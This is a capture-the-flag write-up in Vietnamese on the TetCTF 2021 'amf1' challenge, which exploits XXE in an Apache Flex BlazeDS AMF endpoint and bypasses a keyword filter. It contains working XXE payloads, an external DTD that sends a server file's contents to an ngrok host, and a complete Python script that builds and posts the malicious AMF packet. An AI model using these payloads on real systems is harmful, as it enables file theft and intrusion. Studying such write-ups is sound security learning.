TETCTF 2021 - amf1

TETCTF 2021 - amf1

Sau một thời gian bận rộn với các giải ctf thì mình quyết định quay lại và tiếp tục series tự học java-sec 😄 của bản thân và dựa trên tinh thần "học hỏi từ những người đi trước" là chính. Dành ra tí thời gian để lượn lờ trên github, mình đã chọn được 1 challenge của giải tetctf 2021 về java khá là vừa sức, không dài dòng nữa vào việc thôi 🤘🤘🤘


Contents


AMF1

Another malicious format 1 - author peterjson

Source

https://drive.google.com/file/d/1tMLNWe_SnMjtevXdQ4MUN6TDsCMreDQs/view

Overview

Sau khi build xong access vào đường dẫn

image.png

Cũng chả có gì đặc biệt ở đây lắm, bản chất của nó chỉ là một file index.jsp hiển thị dòng chữ Welcome to TetCTF

Phân tích

Giải nén file tetctf.war sẽ được một project có structure như sau

image.png

Sau một hồi tìm hiểu thì mình nhận ra đây một là ứng dụng được build dựa trên Apache Flex BlazeDS và cũng dựa trên kinh nghiệm từ bài mojarra war đã làm, mình đoán được anh peterjson sẽ rất hay ra đề dựa trên các case thực tế vì vậy tiến hành đi search cve luôn

image.png

Ảnh này lấy từ một bài viết từ năm 2015, các phiên bản < 4.7.1 của Apache Flex BlazeDS đều bị dính lỗi XXE và cũng từ thư mục lib khi giải nén file tetctf.war, mình khá chắc ăn vuln của bài này đích thị là nó.

Khái quát về cách để khai thác, một AMF message bao gồm phần header và body, khi ta gửi một AMF message đến AMF service enpoint của nó thì phần body sẽ được parse dựa trên method readbody của class AmfMessageDeserializer (Source mình tham khảo tại đây)

public void readBody(MessageBody body, int index) throws ClassNotFoundException, IOException {
  String targetURI = amfIn.readUTF();
  body.setTargetURI(targetURI);
  String responseURI = amfIn.readUTF();
  body.setResponseURI(responseURI);

  amfIn.readInt(); // Length

  amfIn.reset();
  Object data;

  if (isDebug)
    debugTrace.startMessage(targetURI, responseURI, index);

  try {
    data = readObject();
  } catch (RecoverableSerializationException ex) {
    ex.setCode("Client.Message.Encoding");
    data = ex;
  } catch (MessageException ex) {
    ex.setCode("Client.Message.Encoding");
    throw ex;
  }

  body.setData(data);

  if (isDebug)
    debugTrace.endMessage();
}

Ở đây mình focus vào method readObject tại dòng code data = readObject();

public Object readObject() throws ClassNotFoundException, IOException
  {
    return amfIn.readObject();
  }

Biến amfln này khi được khởi tạo tại hàm initialize, nó là một instance của class Amf0Input, tiếp tục nhảy đến source của class này

public Object readObject() throws ClassNotFoundException, IOException
  {
    int type = in.readByte();

    Object value = readObjectValue(type);
    return value;
  }

Đọc byte đầu tiên với in.readByte(); để xác định type sau đó là readObjectValue(type);, ở readObjectValue này có một chỗ quan trọng

image.png

Nếu type là 15 thì bắt đầu readXml, và vuln cũng dần lộ ra từ đây. Tiếp tục trace tiếp như thế

readObjectValue -> stringToDocument (Amf0Input.java) -> XMLUtil.stringToDocument -> stringToDocument(String xml) -> stringToDocument(String xml, boolean nameSpaceAware)

Cũng từ source code, mình thấy được rằng ở đây sẽ parse trực tiếp chuỗi xml mà không có một cơ chế bảo vệ nào

image.png

Bởi vì thường để không bị XXE thì ta sẽ phải set thêm các feature chẳng hạn như

  DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
  dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Vậy để khai thác thì ta sẽ cần gửi một AMF packet đến endpoint chạy AMF service, về việc tìm enpoint này thì không hề khó, nằm ngay tại file service-config.xml

image.png

Về phần contruct một AMF packet thì ở link script này đã có sẵn, vấn đề duy nhất còn lại đó là hàm dùng để filter nằm ở tetctf.SecurityFilter.

public static String pattern = "(file|ftp|http|https|data|class|bash|logs|log|conf|etc|session|proc|root|history)";

Nếu input stream bao gồm các kí tự nằm trong biến pattern sẽ bị báo Hacker detected!

image.png

Vậy làm sao để bypass ? 😢

Mình sẽ nói về solution của tác giả trước, anh ấy dùng local DTD và ghi đè một entity đã có sẵn + khai thác error-based

<!DOCTYPE message [
        <!ENTITY % local_dtd SYSTEM "jar:netdoc:///home/service/apache-tomcat-7.0.99/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
        <!ENTITY % URI '(aa) #IMPLIED>
            <!ENTITY &#x25; x SYSTEM "netdoc:///home/service/flag.txt">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;_:///abcxyz/&#x25;x;&#x27;>">
            &#x25;eval;
            &#x25;error;
            <!ATTLIST attxx aa "bb"'>
        %local_dtd;
    ]>
    <message></message>

Phân tích một tí:

  • ở java version 8 có hỗ trợ netdoc protocol và nó cũng tương như file protocol
  • sử dụng jar protocol để access tới file jsphtml.dtd có sẵn và bắt đầu thực hiện việc khi đè.
  • cuối cùng là _:// để tạo ra error và leak được flag

image.png

Về solution của mình, ngay khi bị filter đi các protocol hay dùng mình nghĩ ngay tới cách html entity encode, sau một hồi search ở hacktrick thì mình cũng đã tìm được:

image.png

Payload khi chưa encode sẽ tựa tựa như sau:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY % dtd SYSTEM "http://9bbf-27-65-62-181.ngrok.io/exp.dtd">"> %a;%dtd;]>

Sau khi đã html entity encode:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#37;&#32;&#100;&#116;&#100;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#57;&#98;&#98;&#102;&#45;&#50;&#55;&#45;&#54;&#53;&#45;&#54;&#50;&#45;&#49;&#56;&#49;&#46;&#110;&#103;&#114;&#111;&#107;&#46;&#105;&#111;&#47;&#101;&#120;&#112;&#46;&#100;&#116;&#100;&#34;&#32;&#62;"> %a;%dtd;]>

Ở server mình tạo một file exp.dtd với nội dung:

<!ENTITY % file SYSTEM "file:///home/service/flag.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://9bbf-27-65-62-181.ngrok.io/?x=%file;'>">
%eval;
%exfiltrate;

Khai thác

Script:

import requests
import struct
URL = "http://127.0.0.1:1337/tetctf/messagebroker/amf"

def encode(string, xml=False):

    string = string.encode('utf-8')
    if xml:
        const = b'\x0f' # AMF0 XML document
        size = struct.pack("!L", len(string)) # Size on 4 bytes
    else:
        const = b'' # AMF0 URI
        size = struct.pack("!H", len(string)) # Size on 2 bytes
    return const + size + string


def genAMF(payload):
    version = b'\x00\x03'
    header_count = b'\x00\x00'
    mess_count = b'\x00\x01'

    packet = version + header_count + mess_count

    # set target and respond
    target = encode('foo')
    respond = encode('bar')

    # message
    array_with_one_entry = b'\x0a' + b'\x00\x00\x00\x01' # AMF0 Array
    mess = array_with_one_entry + encode(payload, xml=True)

    xml_type = b'\x0F'
    size_mess = struct.pack('!L', len(mess))

    body = target + respond + size_mess + mess
    bodies = mess_count + body

    packet = version + header_count + bodies
    return packet


if __name__ == "__main__":

    # payload = r"""<!DOCTYPE message [
    #     <!ENTITY % local_dtd SYSTEM "jar:netdoc:///home/service/apache-tomcat-7.0.99/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
    #     <!ENTITY % URI '(aa) #IMPLIED>
    #         <!ENTITY &#x25; x SYSTEM "netdoc:///home/service/flag.txt">
    #         <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;_:///abcxyz/&#x25;x;&#x27;>">
    #         &#x25;eval;
    #         &#x25;error;
    #         <!ATTLIST attxx aa "bb"'>
    #     %local_dtd;
    # ]>
    # <message></message>"""

    payload = r"""
    <!DOCTYPE foo [<!ENTITY % a "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#37;&#32;&#100;&#116;&#100;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#57;&#98;&#98;&#102;&#45;&#50;&#55;&#45;&#54;&#53;&#45;&#54;&#50;&#45;&#49;&#56;&#49;&#46;&#110;&#103;&#114;&#111;&#107;&#46;&#105;&#111;&#47;&#101;&#120;&#112;&#46;&#100;&#116;&#100;&#34;&#32;&#62;"> %a;%dtd;]>
    """

    data = genAMF(payload)

    r = requests.post(URL, data = data, headers = {"Content-Type": "application/x-amf"})
    print(r.text)

Kết quả:

image.png